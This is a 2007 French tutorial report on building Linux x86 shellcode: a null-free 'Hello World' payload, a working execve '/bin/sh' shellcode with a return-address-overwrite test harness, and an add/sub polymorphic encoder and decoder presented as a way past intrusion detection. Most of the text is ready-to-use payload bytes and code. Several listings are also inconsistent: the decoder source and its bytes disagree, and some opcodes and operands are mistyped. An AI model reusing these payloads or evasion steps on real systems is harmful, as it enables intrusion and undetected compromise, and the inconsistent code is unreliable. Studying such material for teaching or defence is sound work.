SHELLCODE

Christophe Basquin
David Daydé

04/12/2007

Table des matières

1 INTRODUCTION

Traditionnellement, un shellcode est une chaine de caractère qui représente un code binaire exécutable capable de lancer un shell. Il peut tout de même exécuter d'autres taches (exécution d'une commande, création d'un utilisateur,...). Il est capable de faire tout ce que peut faire n'importe quel autre programme. Généralement les shellcodes sont injectés dans la mémoire de l'ordinateur grâce à l'exploitation d'un dépassement de tampon comme les buffer overflow, stack overflow, heap overflow, integer overflow... Les shellcodes injectables dans les buffers possèdent quelques propriétés :

- la taille d'un shellcode doit être minimale afin qu'il puisse être injecté même dans des petits buffers.
- Il ne doit contenir aucune adresse absolue car l'adresse ou le shellcode est copié est inconnue.
- De plus les chaines de caractères ont l'octet nul (0x00) comme marqueur de fin. Un shellcode ne peut donc pas contenir d'octet nul.

Nous verrons tout d'abord comment créer un shellcode vérifiant les 3 propriétés ci-dessus. Ensuite nous verrons quelques solutions pour éviter à un shellcode d'être intercepté par un IDS.

2 CREATION D'UN SHELLCODE

On cherche à créer une chaine de caractère contenant des instructions en langage machine. On va donc devoir utiliser les opcodes.

2.1 Les Opcodes

Un opcode, ou code opération est un numéro qui caractérise une instruction en langage machine, par exemple l'opcode 0x6A correspond à l'instruction *push*. Ainsi on peut construire une chaine de caractère contenant de l'opcode, donc des instructions. Pour récupérer l'opcode, on doit compiler puis désassembler avec la commande *objdump - d* ou bien utiliser *gdb*.

Helloworld

```
1
2 knoppix[shellcode] ./helloworld
3 Hello World
4
5 knoppix[shellcode] objdump -d helloworld
6
7 helloworld:     file format elf32-i386
8
```

```
 9  (...)
10
11  08048354 <main>:
12  8048354:        55                          push   %ebp
13  8048355:        89 e5                       mov    %esp,%ebp
14  8048357:        83 ec  08                   sub    $0x8,%esp
15  804835a:        83 e4 f0                    and     $0xfffffff0 ,%esp
16  804835d:        b8 00 00 00 00              mov    $0x0,%eax
17  8048362:        83 c0 0f                    add    $0xf,%eax
18  8048365:        83 c0 0f                    add    $0xf,%eax
19  8048368:        c1 e8 04                    shr    $0x4,%eax
20  804836b:        c1 e0 04                    shl    $0x4,%eax
21  804836e:        29 c4                       sub    %eax,%esp
22  8048370:        c7 04 24 c8 84 04 08        movl   $0x80484c8,(%esp)
23  8048377:        e8 00  ff  ff  ff           call   804827c <puts@plt>
24  804837c:        b8 00 00 00 00              mov    $0x0,%eax
25  8048381:        c9                          leave
26  8048382:        c3                          ret
27
28  (...)
```

Les opcodes sont dans la deuxième colonne. Chaque ligne de opcode correspond à une instruction assembleur. C'est ainsi, en désassemblant un exécutable, que l'on peut récupérer l'opcode dans le but de le mettre en chaine de caractère.

2.2 Shellcode Hello world

A travers cet exemple, nous allons parcourir les étapes nécessaires à la création d'un shellcode. On sait désormais récupérer l'opcode correspondant à une instruction en assembleur. Rappelons qu'il faut essayer que notre shellcode soit le plus petit possible. Donc, faire un programme C, le désassembler pour récupérer l'opcode et l'écrire dans une chaine de caractère ne sera pas possible car trop couteux en espace.
Cependant, dans un premier temps, il faut coder ce que nous souhaitons faire exécuter au shellcode en langage C pour voir ce qu'il se passe.

helloworld.c

```c
1  #include <stdio.h>
2
3  int main() {
4    printf("Hello World\n");
5    return 0;
6  }
```

Si on désassemble maintenant l'exécutable, le résultat est beaucoup trop long. Pour réduire au maximum le nombre d'instructions, on va coder en assembleur et utiliser directement les appels systèmes dont on a besoin. Ici, on utilise une seule fonction : **printf**. Cette fonction se sert de l'appel système **write** pour écrire sur la sortie selectionnée (écran, fichier). Un appel système est une fonction qui lorsque l'on code en assembleur est disponible sous forme d'interruption. Une interruption est un arrêt temporaire d'un programme pour effectuer une opération particulière. Voyons comment gérer ces appels en assembleur.

2.2.1 Coder en assembleur

Sous linux, pour faire un appel système, on doit appeler l'interruption 0x80 et préciser le numéro de l'appel dans l'EAX. Pour récupérer ce numéro, pour **write** par exemple on regarde **man 2 write** :
include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count) ;

On regarde le fichier unistd.h :
knoppix[*shellcode*]$ cat /usr/include/asm-i386/unistd.h | grep write
knoppix[*shellcode*]$ define __NR-write 4
4 est le numéro de l'appel système **write**. Cette fonction a trois paramètres stockés dans différents registres :
EBX : premier argument de write
ECX : deuxième argument de write, soit l'adresse de la chaine
EDX : troisième argument, la longueur de la chaine

Il reste donc à connaitre l'adresse de la chaine. Pour cela on utilise la technique du **POP/CALL**. Pour récupérer l'adresse d'une chaine, il faut la placer en mémoire puis trouver ou elle a été placée. On rappelle que lors d'un **call**, l'adresse de l'instruction suivante est empilée, c'est la sauvegarde de l'EIP. Dans notre cas, il faut faire un **call** avant notre chaine pour récupérer son adresse.

[début shellcode]
jmp chaine

suite :
pop ecx
[suite et fin du shellcode]

chaine :
call suite
[notre chaine]

Analysons :
call suite : ici l'instruction **call** va provoquer l'empilement de l'adresse de la prochaine instruction (EIP) en bas de la pile. Puis l'exécution continue à *suite*.

pop ecx : on a vu que ecx doit contenir le deuxième argument de **write**. On place donc l'adresse de notre chaine dans ECX.

On a donc récupéré toutes les informations nécéssaires : l'EAX, EBX, ECX, EDX pour pouvoir appeller **write** et écrire Hello world. Il faut cependant garder à l'esprit que l'on va écrire de l'opcode dans une chaine de caractère, car pour insérer du code au sein de l'application cible, il faut que le shellcode soit copié. Il faut donc faire attention qu'il n'y ait pas de caractère nul dans cette chaine.
\x00 est le caractère nul.

2.2.2 Le probleme des octets nuls

Notre opcode doit être dépourvu de caractères nuls. L'emploi de quelques astuces évitera d'écrire des octets nuls.
Par exemple :

movl $0x00 , 0xc(%esi) sera remplacé par :
xor %eax , %eax
movl %eax , %0x0c(%esi)

Attention, la traduction de certaines instructions en hexadécimal peut aussi révéler l'utilisation d'octet nul. **_exit(0)** : appel système correspondant au numéro 1 dans l'EAX, donc pas de problème apparant, mais en hexadécimal cette instruction est b8 01 00 00 00. Il faut donc éviter son utilisation. En fait, l'astuce consiste à initialiser %eax à l'aide d'un registre qui vaut 0 puis à l'incrémenter.

2.2.3 Construction du shellcode

Il nous reste plus qu'à compiler notre code assembleur et le désassembler pour récupérer notre opcode. Le but de notre démarche est d'obtenir une chaine de caractère la plus petite possible. On ne va donc pas utiliser gcc pour la compilation mais plutôt as(Assembleur GNU Portable) et ld l'éditeur de lien.

helloworld.s

```
1  knoppix@1[shellcode]$ cat helloworld.s
2  main:
3          xorl %eax,%eax          /*On met à zéro tous les registres , pour éviter les problèmes*/
4          xorl %ebx,%ebx
5          xorl %ecx,%ecx
```

```
6           xorl %edx,%edx
7           movb $0x4,%al           /*On met al pour éviter les 0 dans les opcodes*/
8           movb $0x1,%bl
9           jmp chaine
10  ret:
11          popl %ecx
12          movb $0xd,%dl
13          int $0x80
14  chaine:
15          call ret
16          .string "Hello World !"
17
18  knoppix@1[shellcode]$ as -o helloworld.o helloworld.s
19  knoppix@1[shellcode]$ ld -o helloworld helloworld.o
20  ld: warning: cannot find entry symbol _start; defaulting to 0000000008048074
21  knoppix@1[shellcode]$ ./helloworld
22  Hello World !
```

On désassemble avec objdump.

objdump helloworld

```
1   knoppix@1[shellcode]$ objdump -d helloworld
2
3   08048074 <main>:
4   8048074:    31 c0                   xor    %eax,%eax
5   8048076:    31 db                   xor    %ebx,%ebx
6   8048078:    31 c9                   xor    %ecx,%ecx
7   804807a:    31 d2                   xor    %edx,%edx
8   804807c:    b0 04                   mov    $0x4,%al
9   804807e:    b3 01                   mov    $0x1,%bl
10  8048080:    eb 05                   jmp    8048087 <chaine>
11
12  8048082 <ret>:
13  8048082:    59                      pop    %ecx
14  8048083:    b2 0d                   mov    $0xd,%dl
15  8048085:    cd 80                   int    $0x80
16
17  08048087 <chaine>:
18  8048087:    e8 f6 ff ff ff          call   8048082 <ret>
19  804808c:    48                      dec    %eax
20  804808d:    65                      gs
21  804808e:    6c                      insb   (%dx),%es:(%edi)
22  804808f:    6c                      insb   (%dx),%es:(%edi)
23  8048090:    6f                      outsl  %ds:(%esi),(%dx)
24  8048091:    20 57 6f                and    %dl,0x6f(%edi)
25  8048094:    72 6c                   jb     8048102 <chaine+0x7b>
26  8048096:    64 20 21                and    %ah,%fs:(%ecx)
```

On observe à partir de l'étiquette *chaine* des instructions que l'on a pas tapées. C'est en fait les octets de notre chaine que le désassembleur a considérés, à tort, comme du code. Nous n'avons pas besoin de le recopier. Pour créer le shellcode, reste à concaténer les opcodes en les séparant par \x qui est la notation du langage C. Nous allons tester notre shellcode. On code un programme C avec :
char sh[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\xeb\x05"
"\x59\xb2\x0d\xcd\x80\xe8\xf6\xff\xff\xffHello World !¨

Maintenant, il faut exécuter le shellcode. On va rendre le contenu pointé par l'adresse de la variable ret incrémentée de 2 égale à l'adresse du shellcode. En fait, sur la pile, on trouve de bas en haut :
l'adresse de retour de main : c'est la sauvegarde de l'EIP
le contenu du registre EBP
la variable ret
Ces valeurs occupent sizeof(*int*) octets chacune. On veut détourner la valeur de retour de main et la rendre égale à l'adresse du shellcode. On a &ret+2 = &adresse de retour de main. On modifie le contenu pointé par &ret +2.

helloworld.s

```
1  knoppix@1[shellcode]$ cat shellcode.c
2
3  char sh[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\xeb\x05"
4  "\x59\xb2\x0d\xcd\x80\xe8\xf6\xff\xff\xffHello World !";
5
6  int main()
7  {
8  int *ret;
9  *( (int *) &ret + 2) = (int) sh;
10 }
11
12 knoppix@1[shellcode]$ gcc -o shellcode shellcode.c
13 knoppix@1[shellcode]$ ./shellcode
14 Hello World !
```

2.3 Shellcode /bin/sh

La fonction principale d'un shellcode est d'exécuter un shell, regardons comment faire en langage C.

shellcode.c

```
1  knoppix@1[shellcode]$ cat shellcode.c
2  int main()
3  {
4  char *param[] = {"/bin/sh", NULL};
5  execve(param[0], param, NULL);
6  return 0;
7  }
```

La fonction **execve** est un véritable appel système. Si son appel réussit, le programme appelant est remplacé par le code exécutable du nouveau programme qui démarre alors. Dans notre cas, le code est inséré au milieu de l'application attaquée, donc continuer l'exécution n'aurait aucun sens.

knoppix[*shellcode*]$ gcc -o shellcode shellcode.c
knoppix[*shellcode*]$ ./shellcode
sh3.1$ exit
knoppix[*shellcode*]$

On récupère le numéro de l'appel système :

on cherche l'EAX

```
1  knoppix@1[shellcode]$ cat /usr/include/asm/unistd.h | grep execve
2  #define __NR_execve 11
```

On doit aussi récupérer les arguments de **execve** :
EAX = 11
EBX = "/bin/sh"
ECX = tab={"/bin/sh", 0}
EDX = 0

La difficulté est que le deuxième argument de **execve** est un tableau. On va contruire ce tableau dans ECX en le situant juste après la chaîne elle-même : son premier élément en %esi+8, longueur de /bin/sh + un octet nul, contient la valeur du registre %esi, et le second en %esi+12 une adresse nulle. Le code sera donc :
popl %esi
movl %esi, 0x8(%esi)
xorl %eax, %eax
movl %eax, %0x0c(%esi)

On peut commencer à écire en assembleur :

shellcode.s

```
1  jmp appel_sous_routine
2
3  sous_routine:
4          /* Récupérer l'adresse de /bin/sh */
5          popl %esi
6          /* L'écrire en première position de la table */
7          movl %esi,0x8(%esi)
8          /* Écrire NULL en seconde position de la table */
9          xorl %eax,%eax
10         movl %eax,0xc(%esi)
11         /* Placer l'octet nul en fin de chaîne */
12         movb %eax,0x7(%esi)
13         /* Fonction execve() */
14         movb $0xb,%al
15         /* Chaîne à exécuter dans %ebx */
16         movl %esi, %ebx
17         /* Table arguments dans %ecx */
18         leal 0x8(%esi),%ecx
19         /* Table environnement dans %edx */
20         leal 0xc(%esi),%edx
21         /* Appel-système */
22         int  $0x80
23
24 appel_sous_routine:
25         call sous_routine
26         .string "/bin/sh"
```

Puis on désassemble :

objdump

```
1  08048398 <main>:
2   8048398:       55                      pushl  %ebp
3   8048399:       89 e5                   movl   %esp,%ebp
4   804839b:       eb 1f                   jmp    80483bc <appel_sous_routine>
5
6  0804839d <sous_routine>:
7   804839d:       5e                      popl   %esi
8   804839e:       89 76 08                movl   %esi,0x8(%esi)
9   80483a1:       31 c0                   xorl   %eax,%eax
10  80483a3:       89 46 0c                movb   %eax,0xc(%esi)
11  80483a6:       88 46 07                movb   %al,0x7(%esi)
```

```
80483a9:    b0 0b          movb  $0xb,%al
80483ab:    89 f3          movl  %esi,%ebx
80483ad:    8d 4e 08       leal  0x8(%esi),%ecx
80483b0:    8d 56 0c       leal  0xc(%esi),%edx
80483b3:    cd 80          int   $0x80
80483b5:    31 db          xorl  %ebx,%ebx
80483b7:    89 d8          movl  %ebx,%eax
80483b9:    40             incl  %eax
80483ba:    cd 80          int   $0x80

080483bc <appel_sous_routine>:
80483bc:    e8 dc ff ff ff call  804839d <sous_routine>
80483c1:    2f             das
80483c2:    62 69 6e       boundl 0x6e(%ecx),%ebp
80483c5:    2f             das
80483c6:    73 68          jae   8048430 <_IO_stdin_used+0x14>
80483c8:    00 c9          addb  %cl,%cl
80483ca:    c3             ret
80483cb:    90             nop
80483cc:    90             nop
80483cd:    90             nop
80483ce:    90             nop
80483cf:    90             nop
```

Les données se trouvant à partir de l'adresse 80483c1 ne sont pas des instructions, mais les caractères de la chaîne "/bin/sh". Le code est bien exempt de zéro, hormis naturellement le caractère nul de fin de chaîne en 80483c8.
Essayons à présent notre programme :

shellcode.c

```
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int *ret;
      * ((int *) & ret + 2) = (int) shellcode;
      return (0);
  }
```

knoppix[*shellcode*]$ ./shellcode
sh3.1$ exit
knoppix[*shellcode*]$

3 LES SHELLCODES POLYMORPHIQUES

Lorsqu'une attaque est réalisée contre un service réseau, il y a toujours un risque d'être repéré par un système de détection d'intrusion (IDS : Intrusion Détection System). Les IDS sont basés sur des signatures d'attaque ainsi que des anomalies rencontrées dans les protocoles. Les IDS interceptent tous les paquets envoyés à travers le réseau et ils essayent de les comparer à des signatures disponibles. Dès qu'ils réussissent, une alerte est déclenchée. Jusqu'à présent, les attaques par buffer overflow étaient détectées par les rafales de NOPs ou par des signatures du shellcode lui-même ('/bin/sh' par exemple).

La solution de ce problème est la création de shellcodes polymorphiques qui n'auront pas les caractéristiques propres des shellcodes typiques, mais qui réaliseront les mêmes fonctionnalités. Le mot polymorphisme signifie *plusieurs formes*. Ce terme a été employé en informatique pour la première fois par un pirate bulgare. Celui-ci a créé en 1992 le premier virus polymorphique. Le principe est le même pour les shellcodes.

L'un des moyens le plus efficace de rendre notre shellcode illisible par un programme intermédiaire est de crypter le shellcode. Le but va être donc de crypter le shellcode et de créer un module de décryptage qui sera intégrer à notre shellcode. En général, on encode le shellcode et on place un décodeur devant le shellcode. Cela permettra à notre shellcode de prendre n'importe quelle forme. La tâche du décodeur est de décoder le shellcode. Il existe plusieurs moyens permettant d'y parvenir mais 4 méthodes utilisant les instructions assembleurs de base sont utilisées le plus souvent :

- la soustraction (sub) : les valeurs numériques données sont soustraites des octets du shellcode encodé.
- L'addition (add) : les valeurs numériques données sont ajoutées des octets du shellcode encodé.
- La différence symétrique (xor) : les octets du shellcode sont soumis à l'opération de différence symétrique avec une valeur définie.
- Le déplacement (mov) les octets du shellcode sont échangés les uns contre les autres.

Nous allons illustrer cette partie par un exemple. Utilisons la première méthode décrite, celle de la soustraction pour décoder notre shellcode encodé. Voici le shellcode que nous voulons coder.

```
char shellcode[] =
"\x66\x68\x21\x0a\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x77\x68\x68"
"\x65\x6c\x6c\x89\xe1\x6a\x04\x58\x6a\x01\x5b\x6a\x0e\x5a\xcd\x80"
"\x89\xd8\x31\xdb\xcd\x80";
```

Notre shellcode contient 38 octets. Nous allons tout d'abord coder ce shellcode c'est à dire ajouter à chaque octet une valeur définie, disons 1 (pour sim-

plifier). Bien sûr une autre valeur aurait pu être choisie.

3.1 Codage du shellcode

Le programme ci-joint écrit en C, ajoute la valeur définie dans la variable offset à chaque octet du shellcode. Ensuite, on affiche la suite d'octet du nouveau shellcode crypté. Voici le code :

encode.c

```
1
2  #include<stdio.h>
3
4  char shellcode[] =
5  "\x66\x68\x21\x0a\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x77\x68\x68"
6  "\x65\x6c\x6c\x89\xe1\x6a\x04\x58\x6a\x01\x5b\x6a\x0e\x5a\xcd\x80"
7  "\x89\xd8\x31\xdb\xcd\x80";
8
9  int main(){
10   char *encode;
11   int longueur_shellcode, longueur_encode;
12   int compteur, i, l=16;
13   int offset=1;
14   longueur_shellcode=strlen(shellcode);
15   encode=(char *)malloc(longueur_shellcode);
16
17   for(compteur=0;compteur<longueur_shellcode;compteur++)
18     encode[compteur]=shellcode[compteur] + offset;
19
20   printf("shellcode code (%d octets de longueur) : \n", strlen(encode));
21   printf("char shellcode[]=\n");
22
23   for(i=0;i<strlen(encode);i++){
24     if(l>=16){
25       if(i) printf("\"\n");
26       printf("\t\"");
27       l=0;
28     }
29     ++l;
30     printf("\\x%02x",((unsigned char *)encode)[i]);
31   }
32   printf("\";\n");
33   free(encode);
34   return 0;
35 }
```

Il nous faut récupérer le shellcode crypté :

```
*******************************************************************************
knoppix@1[Desktop] gcc -o encode encode.c
knoppix@1[Desktop] ./encode
shellcode code (38 octets de longueur) :
char shellcode[]=
"\x67\x69\x22\x0b\x69\x70\x73\x6d\x65\x69\x70\x2d\x21\x78\x69\x69"
"\x66\x6d\x6d\x8a\xe2\x6b\x05\x59\x6b\x02\x5c\x6b\x0f\x5b\xce\x81"
"\x8a\xd9\x32\xdc\xce\x81";
knoppix@1[Desktop]
*******************************************************************************
```

3.2 Decodage du shellcode

Le décodage correspond à l'opération inverse du codage, c'est à dire de soustraire à chaque octet du nouveau shellcode la valeur 1.
Voici le code source du décodeur :

decode.s

```
1   BITS 32
2
3   jmp short three
4
5   one:
6   pop esi
7   xor ecx, ecx
8   mov cl, 0
9
10  two:
11  sub byte [esi + ecx - 1], 0
12  sub cl, 1
13  jnz two
14  jmp short four
15
16  three:
17   call one
18
19  four:
```

Explication du code :
Le code utilise bien la structure d'un shellcode c'est à dire la méthode **POP/-CALL**. Le code commence à la ligne 3 et nous amène directement à la ligne 17. Ensuite, l'instruction *call* transfère l'exécution du programme vers l'endroit *one* et insère la valeur de l'adresse de l'instruction suivante (*four*) dans la pile.

Le code qui sera exécuté au niveau du *four* correspond au shellcode. Dans la sixième ligne, l'adresse est enlevée de la pile et placée dans le registre ESI puis (ligne 7) le registre ECX est mis à 0 et enfin on lui insère 1 octet qui correspond à la taille de notre shellcode (38 car la longueur du shellcode encodé est égale à celle du shellcode). Entre les lignes 10 à 14, il y a une boucle qui s'exécute autant de fois que le nombre d'octets se trouvant dans le shellcode encodé. La valeur du registre ECX est décrémentée de 1 à chaque tour de boucle. Dès que cette valeur est à 0, la boucle cessera de fonctionner. Dans la ligne 11, il y a l'instruction dite décodant le shellcode, elle soustrait à chaque octet du shellcode encodé la valeur définie, pour nous 1. Une fois la boucle terminée, le code aura retrouvé sa forme originale (non cryptée). Ensuite la ligne 14 nous amène directement à la ligne 19 qui correspond à la première instruction de notre shellcode décodé. Le shellcode pourra alors être exécuté.

Il nous faut maintenant compiler le code décodeur pour le transformer en format opcode.

```
************************************************************
knoppix@1[Desktop]  as -o decode decode.s
knoppix@1[Desktop]  objdump -d decode
00000000  eb 11 5e 31 c9 b1 26 80  6c 0e ff 00 80 e9 01 75 |..1 ...l.....u|
00000010  f6 eb 05 e8 ea ff ff ff                           |........|
00000018
knoppix@1[Desktop]  ndisasm decode
00000000  EB11            jmp short 0x13
00000002  5E              pop si
00000003  31C9            xor cx,cx
00000005  B126            mov cl,0x26
00000007  806C0EFF        sub byte [si+0xe],0xff
0000000B  0180E901        add [bx+si+0x1e9],al
0000000F  75F6            jnz 0x7
00000011  EB05            jmp short 0x18
00000013  E8EAFF          call 0x0
00000016  FF              db 0xFF
00000017  FF              db 0xFF
knoppix@1[Desktop]
************************************************************
```

Nous avons maintenant le décodeur et le shellcode encodé, il ne nous reste plus qu'à les assembler et vérifier que tout fonctionne correctement.

```
**********************************************************
knoppix@1[Desktop]  cat test.c
char shellcode[]=

            //decodeur
"\xeb\x11\x5e\x31\x69\xb1\x26\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff"

            //shellcode encodé
"\x67\x69\x22\x0b\x69\x70\x73\x6d\x65\x69\x70\x2d\x21\x78\x69\x69"
"\x66\x6d\x6d\x8a\xe2\x6b\x05\x59\x6b\x02\x5c\x6b\x0f\x5b\xce\x81"
"\x8a\xd9\x32\xdc\xce\x81";

main(){


            int (*shell) ();

           (int) shell = shellcode;

            shell();
}
knoppix@1[Desktop]  gcc -o test test.c
knoppix@1[Desktop]  ./test
hello, world!
knoppix@1[Desktop]
**********************************************************************
```

Le programme marche correctement. Le shellcode pourra être exécuté sans qu'un IDS ne l'intercepte.

4 CONCLUSION

Nous avons réussi à créer quelques shellcodes qui fonctionnent correctement et qui peuvent être utilisés dans différents exploits. Nous avons pris connaissance des techniques permettant de supprimer les octets nuls. Nous avons réussi à crypter un shellcode en allongeant sa taille de quelques octets pour le rendre indétectables pour les IDS. En effet, il est beaucoup plus difficile aux systèmes IDS de noter la présence de code polymorphique que celle du shellcode typique, mais il ne faut pas oublier que le polymorphisme ne résoud pas tous les problèmes. La plupart des systèmes contemporains de détection d'intrusions utilisent, outre les signatures, des techniques plus ou moins avancées permettant de détecter également le shellcode encodé. Les plus connues parmi elles sont l'identification de la chaîne NOP, la détection des fonctions du décodeur et l'émulation du code.